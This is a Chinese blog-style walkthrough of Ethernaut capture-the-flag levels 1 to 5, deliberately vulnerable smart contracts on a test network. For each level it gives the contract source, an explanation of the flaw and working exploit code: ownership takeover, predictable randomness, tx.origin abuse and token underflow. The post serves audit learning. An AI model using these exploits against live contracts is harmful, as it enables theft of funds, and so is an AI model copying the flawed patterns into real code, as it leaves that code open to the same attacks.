eth转入地址_ETH智能合约靶机 审计学习攻略
0x1
Ethernaut是一个类似于VULHUB的集成了众多存在安全问题的智能合约靶场,适合智能和合约的开发人员审计人员进行学习
平台地址 https://ethernaut.openzeppelin.com/
在线调试IDE http://remix.ethereum.org/
0x2 开始前的准备
使用谷歌浏览器在拓展商店,安装MetaMask钱包
自行注册钱包账号以后,将网络切换到Ropsten测试网络
获取测试网络以太币 https://faucet.metamask.io/
获取一个以太币
保证钱包里面是有钱的,要不然是做不了题目的
0关是教程,熟悉用控制台操作,这里不详述了,有兴趣的自己去看
我们直接从第一关开始:
源代码
pragma solidity ^0.4.18;contract Fallback{using SafeMath for uint256;mapping(address => uint) public contributions;//构造函数,给创造者1000个eth的代币function Fallback() public {contributions[msg.sender] = 1000 * (1 ether);}//每次转账只能小于0.001个eth,转多少个eth,就增加同额度的代币,代币最多的人合约所有权function contribute() public payable {require(msg.value < 0.001 ether);contributions[msg.sender] = contributions[msg.sender].add(msg.value);if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;}}//获取代币的余额function getContribution() public view returns (uint) {return contributions[msg.sender];}//取走ETHfunction withdraw() public onlyOwner {owner.transfer(this.balance);}//fallback函数,用于接收用户向合约发送的代币,如果转入的金额和代币的金额不等于0,将获得合约所有权function() payable public {require(msg.value > 0 && contributions[msg.sender] > 0);owner = msg.sender;}
}
题目要求
- 您要求合同所有权
- 您将其余额减少到0
分析源代码有两个方式可以,获取合约的所有权
一是contribute函数,每次转账转0.001个eth,然后转1000个就可以得到了,差不多要1000000,且不说手续费,要时间都要转几天
二就是通过 fallback函数,如果转入的金额和代币的金额不等于0,将获得合约所有权
要调用fallback函数,只需要向合约地址转账就可以了
contract.contribute({value:1})//调用合约中contribute函数,转账,增加一个代币
contract.sendTransaction({value:1}) //触发fallback函数
contract.owner() 查看合约所有者
到现在合约所有者地址已经变成我们的地址了
contract.withdraw() //调用函数取款
合约余额为0
点击提交,即可进入下一关
第二关
关卡要求:
要求获取合约所有权
源代码
pragma solidity ^0.4.18;import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract Fallout is Ownable {using SafeMath for uint256;mapping (address => uint) allocations;//Fal1out中的中的第二个l,实际上是一,所以并不是析构函数,可以直接调用function Fal1out() public payable {owner = msg.sender;allocations[owner] = msg.value;}//接受转账函数,增加同等代币function allocate() public payable {allocations[msg.sender] = allocations[msg.sender].add(msg.value);}//转账函数,往地址转代币function sendAllocation(address allocator) public {require(allocations[allocator] > 0);allocator.transfer(allocations[allocator]);}//取款function collectAllocations() public onlyOwner {msg.sender.transfer(this.balance);}//查询代币余额function allocatorBalance(address allocator) public view returns (uint) {return allocations[allocator];}
}
整个源代码涉及owner的,只有Fal1out构造函数,而且函数修饰符为public,可以直接调用
contract.Fal1out()
owner已经变成我们的地址了,过关!
第三关
要求
这是一个抛硬币游戏,你需要通过猜测抛硬币的结果来建立你的连胜。
要完成这一关,你需要用你的通灵能力连续猜10次正确的结果。
源码
pragma solidity ^0.4.18;import 'openzeppelin-solidity/contracts/math/SafeMath.sol';contract CoinFlip {using SafeMath for uint256;uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;//构造函数,设置猜对次数为0function CoinFlip() public {consecutiveWins = 0;}//获取上一个区块的hash,blockValue/FACTR,得到1或者0,然后和我们猜测的结果进行比较,如果猜对了,consecutiveWins+1,如果错了consecutiveWins清零function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number.sub(1)));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = blockValue.div(FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}
问题的关键是前一个区块的hash,前一个区块的值确实是随机的,但是因为一个块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess
不过因为块之间的间隔也只有10s左右,要手工在命令行下完成这一系列操作还是有点困难,所以我们这里选择在链上另外部署一个合约来完成这个操作,要用魔法来打败魔法,可以用在线IDE部署
pragma solidity ^0.4.18;contract CoinFlip {uint256 public consecutiveWins;uint256 lastHash;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function CoinFlip() public {consecutiveWins = 0;}function flip(bool _guess) public returns (bool) {uint256 blockValue = uint256(block.blockhash(block.number-1));if (lastHash == blockValue) {revert();}lastHash = blockValue;uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);bool side = coinFlip == 1 ? true : false;if (side == _guess) {consecutiveWins++;return true;} else {consecutiveWins = 0;return false;}}
}contract exp {CoinFlip fliphack;address target = 这里是靶机合约的地址;uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;function exp() {fliphack = CoinFlip(target);}function pre_result() public view returns (bool){uint256 blockValue = uint256(block.blockhash(block.number-1));uint256 coinFlip = uint256(uint256(blockValue) / FACTOR);return coinFlip == 1 ? true : false;}function hack() public {bool guess = pre_result();fliphack.flip(guess);}
}
部署exp类
一直调用hack方法,直到contract.consecutiveWins()等于10
过关
第四关
要求获得合约所有权
源码
pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}
这题一眼就能看出来只要tx.origin != msg.sender
,就能获得所有权
tx.origin是交易发送者
msg.sende是消息发送者
一般情况下是相等的,但是如果和上题一样,通过一个合约来调用另一个合约,这两个就是不相等了,tx为我们的地址,msg为中间合约的地址
在IDE上测试一下
pragma solidity ^0.4.18;contract Telephone {address public owner;function Telephone() public {owner = msg.sender;}function changeOwner(address _owner) public {if (tx.origin != msg.sender) {owner = _owner;}}
}contract exp{Telephone expTelephone;function exp() public{expTelephone = Telephone(合约的地址);expTelephone.changeOwner(你的钱包的地址);}
}
部署exp类,部署成功就攻击成功了
第五关:
要求
你有20个代币开始,如果你设法得到任何额外的代币,你将超过这一水平。
最好是大量的令牌
源码
pragma solidity ^0.4.18;contract Token {mapping(address => uint) balances;uint public totalSupply;function Token(uint _initialSupply) public {balances[msg.sender] = totalSupply = _initialSupply;}//转账函数function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0);balances[msg.sender] -= _value;balances[_to] += _value;return true;}//查询代币余额function balanceOf(address _owner) public view returns (uint balance) {return balances[_owner];}
}
这里的所有整数变量都是由uint修饰的,代表无符号整数,所以当转21的时候则会发生下溢,导致数值变大其数值为2^256 - 1
contract.transfer(0x80C2d71F2Ac4E53F6ddD25b25c57ecB48Ac73857,21)
现在在看我们的代币
过关!
eth转入地址_ETH智能合约靶机 审计学习攻略相关推荐
- eth转入地址_ETH周报 | 资金净流入再创年内新高;以太坊2.0验证者数量增加(4.20-4.26)...
作者 | 秦晓峰 编辑 | 郝方舟 出品 | Odaily星球日报 一.整体概述 两名消息人士透露,以太坊开发商ConsenSys将再次裁员.其中一名消息人士称,ConsenSys公司上周一宣布将裁员 ...
- ETH:Windows搭建ETH(区块链技术)利用Web端和小程序端两种方式调用ETH上的SC智能合约
ETH:Windows搭建ETH(区块链技术)利用Web端和小程序端两种方式调用ETH上的SC智能合约 目录 1.Geth安装.配置文件.与ETH节点交互 1.1.下载并安装好geth客户端 1.2. ...
- java手机 上网_Java也懂智能! 中低端手机上网小攻略
Java也懂智能! 中低端手机上网小攻略 2009年04月20日 04:18作者:Ken编辑:李博文章出处:泡泡网原创 分享 价格适中.操作快捷.功能合理,还带有一些如上网.游戏等便利的功能拓展,中低 ...
- 北京大学肖臻老师《区块链技术与应用》ETH笔记 - 10.0 智能合约
10.0 智能合约 10.1 简介 智能合约:运行在区块链系统上的一段代码,代码逻辑定义了合约内容. 智能合约的账户保存了合约当前的运行状态: balance:当前余额 nonce:交易次数 code ...
- 以太坊智能合约开发-《精通以太坊智能合约开发》学习总结实践
文章目录 一.初探以太访智能合约 1. remix小demo 2. 写智能合约用的编程语言 二.以太坊核心概念 1. 交易/事务( Transaction ) 2. 区块 3. 共识协议:工作量证明( ...
- 我的世界1.8.9无需正版的服务器,我的世界1period;8period;9服务器纯洁服地址 | 手游网游页游攻略大全...
发布时间:2015-09-26 怎么创建属于自己的服务器那?开服教程为大家准备好了.如果我们想和小伙伴们联机进行玩耍的话就必须要建立一个服务器,要不然就是加入别人的服务器,那么服务器的建立方法是什么呢 ...
- 我的世界电脑正版服务器,我的世界电脑版花雨庭服务器地址 | 手游网游页游攻略大全...
发布时间:2016-02-04 我的世界手机版0.14.0服务器地址汇总,我的世界0.14.0有哪些好玩的服务器呢?以下小编带来了我的世界手机版0.14.0服务器地址,大家速来进行体验吧! 服务器名称 ...
- 怎么判断以太坊地址是不是智能合约?
2019独角兽企业重金招聘Python工程师标准>>> 使用web3.js web3.eth.getCode()方法返回指定地址上代码的16进制字符串,由于普通账户地址处没有代码,因 ...
- OSCP练习:vulhub靶机TR0LL 1攻略
信息收集 主机发现 nmap -sC -sV 192.168.8.132 发现21.22.80端口 网站信息收集 访问80端口,没啥有用信息 访问ftp 使用 Anonymous 匿名用户登录,密码为 ...
- 智能二狗机器人使用攻略,微信群活跃助手
群里聊天的人来来去去就那几个?聊来聊去都是一样的话题? 要怎么才能丰富社群的玩法体验,提高成语的积极性,打造99+社群呢? 别慌,让二狗机器人来拯救你的无聊! 数十款互动玩法,轻松玩转社群!牢牢粘住用 ...
最新文章
- python映射类型是什么意思_Python对象类型
- 【面试测试题】贪婪是好事
- shell中设置文字输出的颜色及字体格式
- java to do_java-将连字号分隔的字词(例如“ do-some-stuff”)转换为小写的驼峰形式(例如“ doSomeStuff”)的最优雅方法是什么?...
- php不包含_php 正则 不包含某字符串的正则表达式
- CPU的DataSheet和UserManual的区别
- java web从入门到精通 明日科技 源码_Java Web 从入门到精通(明日科技)
- css文字向右对齐_css怎么设置右对齐?
- html快闪软件制作,快闪文字视频制作
- DatawhaleLeeML-Task05-网络设计的技巧第二部分
- 备战软件设计大赛经验分享篇
- 用Python发送微信消息给好友
- 使用DISM启用或禁用Windows功能
- 信息化故事--温州的传奇(11)从“进城务工”看“温州新版自闭症”
- Gensim介绍以及实践
- 【技术分享】使用opencv进行火焰分割
- prometheus告警配置
- html的u标签去掉文字下划线代码
- IGT 2013校园招聘 笔试题
- 图像切割--Seam Carving算法
热门文章
- PS去掉图片上反光的操作流程
- java去除空格的函数_JAVA中去掉空格--trim函数
- Separating Axis Theorem(分离轴理论)Raycast
- java流分类_什么是流分类-JAVA中什么是流?流经常按照哪几种方式分类,每种方式又将流各分? 爱问知识人...
- 微信小程序云数据库增删改查
- mac HBuX连接夜神模拟器,连接真机
- 机器学习在网络中的实际应用
- 图片裁切批处理_PS照片裁剪批量处理方法
- Android版数据结构与算法(十二):经典排序算法再回顾
- 2019 “钱”途光明的 8 大前端开发技术,你还差几个?